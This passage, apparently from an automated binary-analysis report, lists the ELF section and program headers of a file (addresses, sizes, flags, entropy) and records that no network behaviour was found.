            Number of Program Headers:3
            Section Header Offset:111324
            Section Header Size:40
            Number of Section Headers:10
            Header String Table Index:9
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x4000940x940x300x00x6AX004
            .textPROGBITS0x4000e00xe00x180c00x00x6AX0032
            .finiPROGBITS0x4181a00x181a00x240x00x6AX004
            .rodataPROGBITS0x4181c40x181c40x2ae40x00x2A004
            .ctorsPROGBITS0x42b0000x1b0000x80x00x3WA004
            .dtorsPROGBITS0x42b0080x1b0080x80x00x3WA004
            .dataPROGBITS0x42b0140x1b0140x2880x00x3WA004
            .bssNOBITS0x42b29c0x1b29c0xa700x00x3WA004
            .shstrtabSTRTAB0x00x1b29c0x3e0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x4000000x4000000x1aca80x1aca86.89390x5R E0x10000.init .text .fini .rodata
            LOAD0x1b0000x42b0000x42b0000x29c0xd0c2.93730x6RW 0x10000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            No network behavior found

            System Behavior